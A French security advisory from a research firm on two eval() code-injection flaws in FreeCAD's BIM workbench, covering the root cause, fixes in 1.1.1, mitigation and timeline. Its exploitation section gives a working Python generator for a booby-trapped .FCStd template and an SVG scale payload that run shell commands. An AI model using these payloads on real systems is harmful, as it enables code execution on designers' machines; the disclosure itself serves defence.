CVE-2026-34398 · CVE-2026-34399

CVSS 7.8 · Élevée Corrigé
Type
Recherche de vulnérabilités
Publié le
Durée de lecture
8 min de lecture
Auteur
rootzero
Read in English
Read in English →

CVE-2026-34398 et CVE-2026-34399 : exécution de code via eval() dans l’atelier BIM de FreeCAD

Deux appels à eval() dans l’atelier BIM de FreeCAD exécutaient du Python lu dans des modèles de projet et de mise en plan : charger un modèle piégé suffisait.

Pour décider

Impact
Un modèle de projet ou de mise en plan piégé peut exécuter du Python avec les droits de l’utilisateur.
Conditions
La victime doit utiliser le fichier dans le parcours BIM concerné. Les deux vulnérabilités suivent des gestes distincts.
Action recommandée
Installer FreeCAD 1.1.1 ou ultérieur et examiner la provenance des modèles partagés.

Vulnérabilités couvertes (2)

IdentifiantVulnérabilitéVersions affectéesCorrigé dansCVSSAvis publié
CVE-2026-34398 FreeCAD
eval() sur les métadonnées .FCStd dans le Project Manager BIM
≥ 0.19, ≤ 1.1.0 1.1.1 7.8
CVE-2026-34399 FreeCAD
eval() sur le champ Scale d’un modèle SVG dans la page TechDraw BIM
≥ 0.19, ≤ 1.1.0 1.1.1 7.8
Faiblesse
CWE-95
Accès requis
Fichier ouvert par la victime
Crédit
rootzero

Synthèse de l’enquête

L’atelier BIM de FreeCAD transmettait à eval() des valeurs lues dans des fichiers : quatre champs du plan de travail tirés des métadonnées d’un modèle .FCStd dans le Project Manager, et le champ Scale d’un modèle SVG à la création d’une page TechDraw. Un utilisateur qui charge un modèle piégé exécute le code Python de l’attaquant avec ses propres privilèges. Les deux failles sont corrigées dans FreeCAD 1.1.1.

Deux modèles de fichier, deux eval()

Nous avons cherché dans l’atelier BIM de FreeCAD les appels à eval() alimentés par un fichier ouvert par l’utilisateur. Le premier chemin était un aller-retour pratique mais dangereux : le Project Manager enregistrait un vecteur avec str(), puis réévaluait la chaîne depuis les métadonnées du modèle. En élargissant la recherche, nous avons trouvé un second eval() dans la création d’une page TechDraw, cette fois sur une échelle lue dans un modèle SVG. Ce sont deux entrées de fichier et deux gestes utilisateur différents, donc deux signalements.

Pour Project Manager, nous avons fabriqué un modèle .FCStd minimal qui gardait la structure de l’archive et plaçait une expression témoin dans ses métadonnées. Le PoC conservé est un générateur avec des instructions ; il ne contient ni capture d’une exécution FreeCAD ni lecture du marqueur. Pour TechDraw, notre rapport suit la valeur Scale du SVG jusqu’à un second eval() et propose une expression satisfaisant sa condition /, mais nous n’avons pas retrouvé de fixture SVG distincte dans le dossier. Dans les deux cas, l’utilisateur doit appeler la fonction de modèle concernée ; la simple possession du fichier ne suffit pas. Nous avons signalé les deux chemins les 24 et 25 mars. FreeCAD les a corrigés dans 1.1.1 avant la publication des CVE-2026-34398/34399 en juillet.

Des fichiers redevenus objets Python

FreeCAD intègre Python. L’atelier BIM lit des réglages dans des modèles de projet .FCStd et des modèles SVG TechDraw ; un utilisateur peut recevoir ces fichiers d’un tiers puis les ouvrir dans l’application.

L’atelier BIM vise l’architecture et la modélisation des informations du bâtiment. Deux de ses commandes sont concernées ici. Le Project Manager configure un projet de bâtiment et peut enregistrer ses réglages comme modèle, un fichier .FCStd ordinaire, puis charger un tel modèle dans un autre projet. La commande de page TechDraw crée une feuille de mise en plan à partir d’un modèle SVG, le type de fichier qui contient un cartouche avec des champs comme l’auteur, la date et l’échelle.

Suivre les deux allers-retours str()/eval()

Les deux failles viennent de la même habitude : stocker un objet Python sous forme de chaîne avec str() et le relire avec eval(). L’aller-retour est commode, puisque str(FreeCAD.Vector(1, 2, 3)) produit Vector (1.0, 2.0, 3.0), qu’eval() retransforme en vecteur. Il signifie aussi que celui qui écrit la chaîne choisit le code exécuté.

Rechercher dans l’atelier BIM les appels à eval() dont l’argument vient d’un fichier mène à deux endroits. Dans BimProjectManager.py, saveTemplate() écrit le plan de travail dans les métadonnées du document avec str(), et loadTemplate() évalue les mêmes clés au chargement d’un modèle. Dans BimTDPage.py, la commande qui crée une page TechDraw évalue le champ d’échelle du modèle SVG pour transformer un rapport comme 1/50 en nombre. Dans les deux cas, le texte évalué est lu dans un fichier choisi par l’utilisateur.

Cause racine

La première faille (CVE-2026-34398) se trouve dans loadTemplate(). La fonction importe même Vector à cette fin :

# src/Mod/BIM/bimcommands/BimProjectManager.py (c63c84a)
from FreeCAD import Vector  # required for following eval calls
# ...
td = FreeCAD.openDocument(filename, True)  # hidden
values = td.Meta
# ...
wp = WorkingPlane.get_working_plane()
if "wpposition" in values:
    wp.position = eval(values["wpposition"])
if "wpu" in values:
    wp.u = eval(values["wpu"])
if "wpv" in values:
    wp.v = eval(values["wpv"])
if "wpaxis" in values:
    wp.axis = eval(values["wpaxis"])

Un fichier .FCStd est une archive ZIP dont le Document.xml décrit le document. Meta est une propriété de type App::PropertyMap, un dictionnaire clé-valeur libre stocké dans ce XML. Celui qui fabrique le fichier contrôle chaque valeur, et quatre d’entre elles partent dans eval() avec les globales du module BIM (CWE-95).

La seconde faille (CVE-2026-34399) se trouve dans la méthode Activated() de la commande de page TechDraw :

# src/Mod/BIM/bimcommands/BimTDPage.py (c63c84a)
for txt in ["scale", "Scale", "SCALE", "scaling", "Scaling", "SCALING"]:
    if txt in page.Template.EditableTexts:
        val = page.Template.EditableTexts[txt]
        if val:
            if ":" in val:
                val.replace(":", "/")
            if "/" in val:
                try:
                    page.Scale = eval(val)
                except:
                    pass

EditableTexts contient les champs modifiables du modèle SVG, lus dans le fichier. Toute valeur qui contient un / atteint eval(). Deux détails méritent une lecture attentive. La ligne val.replace(":", "/") jette son résultat, si bien qu’une échelle écrite 1:50 ne passait jamais par la branche du rapport : le code avait un bug fonctionnel à côté du bug de sécurité. Et le except: pass nu avale toute exception levée après l’exécution du code injecté, si bien qu’un payload qui ne renvoie pas un nombre ne laisse aucune erreur visible.

Exploitation

Pour le Project Manager, l’avis fournit un générateur qui écrit un .FCStd minimal avec une seule entrée de métadonnées :

import zipfile, xml.etree.ElementTree as ET
payload = "__import__('os').system('id > /tmp/rce_proof') or __import__('FreeCAD').Vector(0,0,0)"
doc = ET.Element("Document", SchemaVersion="4", ProgramVersion="1.0.0", FileVersion="1")
props = ET.SubElement(doc, "Properties", Count="1")
prop = ET.SubElement(props, "Property", name="Meta", type="App::PropertyMap")
meta = ET.SubElement(prop, "Map", count="1")
ET.SubElement(meta, "Item", key="wpposition", value=payload)
ET.SubElement(doc, "Objects", Count="0")
ET.SubElement(doc, "ObjectData", Count="0")
gui = ET.Element("Document", SchemaVersion="1")
ET.SubElement(gui, "ViewProviderData", Count="0")
with zipfile.ZipFile("evil.FCStd", "w") as zf:
    zf.writestr("Document.xml", ET.tostring(doc, encoding="unicode", xml_declaration=True))
    zf.writestr("GuiDocument.xml", ET.tostring(gui, encoding="unicode", xml_declaration=True))

Le payload lance une commande shell, puis s’évalue en un vrai Vector : le plan de travail reçoit une valeur valide et le modèle se charge sans erreur. La victime ouvre BIM, puis Project Manager, puis Load Template, et choisit le fichier ; FreeCAD exécute :

wp.position = eval("__import__('os').system('id > /tmp/rce_proof') or __import__('FreeCAD').Vector(0,0,0)")

Pour la page TechDraw, le second avis utilise un modèle SVG dont le champ modifiable nommé Scale contient __import__('os').system('id > /tmp/rce_proof')/1. Le /1 sert à satisfaire le test "/" in val ; la division est évaluée après l’appel, quand la commande s’est déjà exécutée. La victime ouvre BIM, puis TechDraw Page, et choisit le modèle.

Sous Windows, les mêmes payloads fonctionnent avec une autre commande ; os.system() et subprocess sont disponibles sur toutes les plateformes que FreeCAD prend en charge.

Impact

Les avis notent les deux failles 7,8 avec AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H. L’attaque est locale au sens de CVSS : l’attaquant fournit un fichier et la victime doit le charger. Ouvrir le fichier normalement ne suffit pas ; la victime doit l’utiliser comme modèle BIM ou comme modèle de page TechDraw. En échange, le code s’exécute avec tous les privilèges de l’utilisateur, ce qui, sur un poste de conception, veut dire les fichiers de projet, les identifiants présents dans la session, l’accès VPN et les partages réseau.

Le scénario réaliste est celui d’un modèle partagé : un fichier envoyé par un partenaire ou un collègue, ou téléchargé sur un forum, précisément pour être chargé par ces commandes. L’avis évoque des attaques de chaîne d’approvisionnement par des modèles partagés ; un seul modèle compromis dans la bibliothèque d’une entreprise s’exécuterait sur chaque poste qui l’utilise.

Correctif

Le correctif est la pull request #28610, « BIM: Fix possible code injection attack in FCStd file », ouverte par Chris Hennes le 24/03/2026, le jour du premier signalement, et fusionnée le 27/03/2026 sous le commit 871ee19. Le même changement a été reporté sous le commit 9ed351c dans le code publié comme FreeCAD 1.1.1 le 14/04/2026. Les deux avis créditent les mainteneurs qui ont porté la remédiation : Chris Hennes (chennes) comme développeur du correctif, Roy-043 comme relecteur, et hyarion comme relecteur supplémentaire sur GHSA-chv4-vm6r-wjqj.

Dans le Project Manager, eval() laisse place à un analyseur strict qui accepte le format produit par str(Vector) et rien d’autre :

# src/Mod/BIM/bimcommands/BimProjectManager.py (1.1.1)
def _parse_vector(text):
    """Parse a Vector(x,y,z) string safely without eval()."""
    match = re.match(r"^\s*Vector\s*\(\s*([^,]+)\s*,\s*([^,]+)\s*,\s*([^,)]+)\s*\)\s*$", text)
    if not match:
        raise ValueError("Invalid Vector string: " + text)
    return FreeCAD.Vector(float(match.group(1)), float(match.group(2)), float(match.group(3)))

# ...
for key, attr in [
    ("wpposition", "position"),
    ("wpu", "u"),
    ("wpv", "v"),
    ("wpaxis", "axis"),
]:
    if key in values:
        setattr(wp, attr, _parse_vector(values[key]))

Chaque composante passe par float(), qui accepte des nombres et rien qui puisse s’exécuter. Le correctif supprime aussi la ligne from FreeCAD import Vector, qui n’existait que pour eval().

Dans la commande de page TechDraw, le rapport est calculé explicitement, et le correctif répare au passage le replace() dont le résultat était perdu :

# src/Mod/BIM/bimcommands/BimTDPage.py (1.1.1)
val = val.replace(":", "/")
if "/" in val:
    try:
        num, den = val.split("/", 1)
        page.Scale = float(num) / float(den)
    except (ValueError, ZeroDivisionError):
        pass

Les gestionnaires d’exception sont restreints aux erreurs que l’analyse peut lever. La pull request va aussi au-delà des deux appels signalés : elle remplace eval() par ast.literal_eval() pour les couleurs dans BimLayers.py, et par des comparaisons explicites pour les propriétés IFC booléennes et logiques dans importers/exportIFC.py. Retirer d’autres appels à eval() de l’atelier en même temps que les deux signalés est la bonne lecture d’un signalement CWE-95.

Détection et mitigation

  1. Mettre à jour vers FreeCAD 1.1.1 ou une version ultérieure sur chaque poste, y compris les installations portables et les AppImage qui ne se mettent pas à jour avec le système.
  2. D’ici là, considérer comme non fiables les modèles .FCStd et SVG venus de l’extérieur de l’organisation, et ne pas les charger par BIM Project Manager ou BIM TechDraw Page.
  3. Inspecter les modèles de projet avant usage avec unzip -p template.FCStd Document.xml | grep -E 'key="wp(position|u|v|axis)"'. Les valeurs légitimes ont la forme Vector (x, y, z) avec des nombres ; toute valeur contenant __import__, des guillemets, des parenthèses supplémentaires ou un point-virgule est hostile.
  4. Inspecter les modèles SVG à la recherche de champs modifiables nommés scale ou scaling, quelle que soit la casse, dont le contenu n’est ni un nombre ni un rapport de deux nombres.
  5. Sur les postes gérés, alerter sur les shells et hôtes de scripts (sh, bash, cmd.exe, powershell.exe) lancés par le processus FreeCAD.

Chronologie

Date Événement
24/03/2026 Signalement privé de la faille du Project Manager via l’avis de sécurité GitHub GHSA-8rfj-7956-6gwf
24/03/2026 Ouverture de la pull request #28610 par Chris Hennes
25/03/2026 Publication de FreeCAD 1.1.0, toujours vulnérable
25/03/2026 Signalement privé de la faille de la page TechDraw via l’avis de sécurité GitHub GHSA-chv4-vm6r-wjqj
27/03/2026 Fusion de la pull request (871ee19) et report du correctif (9ed351c)
14/04/2026 Publication de FreeCAD 1.1.1
23/07/2026 Publication des avis avec CVE-2026-34398 et CVE-2026-34399

Références

  1. Avis de l’éditeur · CVE-2026-34398 github.com/FreeCAD/FreeCAD/security/advisories/GHSA-8rfj-7956-6gwf
  2. Fiche NVD · CVE-2026-34398 nvd.nist.gov/vuln/detail/CVE-2026-34398
  3. Fiche CVE.org · CVE-2026-34398 www.cve.org/CVERecord?id=CVE-2026-34398
  4. Avis de l’éditeur · CVE-2026-34399 github.com/FreeCAD/FreeCAD/security/advisories/GHSA-chv4-vm6r-wjqj
  5. Fiche NVD · CVE-2026-34399 nvd.nist.gov/vuln/detail/CVE-2026-34399
  6. Fiche CVE.org · CVE-2026-34399 www.cve.org/CVERecord?id=CVE-2026-34399
  7. MITRE CWE-95 cwe.mitre.org/data/definitions/95.html
  8. Dépôt du projet github.com/FreeCAD/FreeCAD

Citer cet avis

rootzero. « CVE-2026-34398 et CVE-2026-34399 : exécution de code via eval() dans l’atelier BIM de FreeCAD ». Recherche de vulnérabilités, rootzero, 23 juillet 2026. https://rootzero.eu/research/cve/cve-2026-34398-34399-freecad-bim-eval-rce/

#Recherche de vulnérabilités

Faites auditer votre code avant qu’un autre ne le fasse.

Votre équipe doit décider quoi corriger avant une livraison ou évaluer une dépendance critique. Nous définissons une mission autour de cette décision, avec des preuves et des priorités de correction expliquées.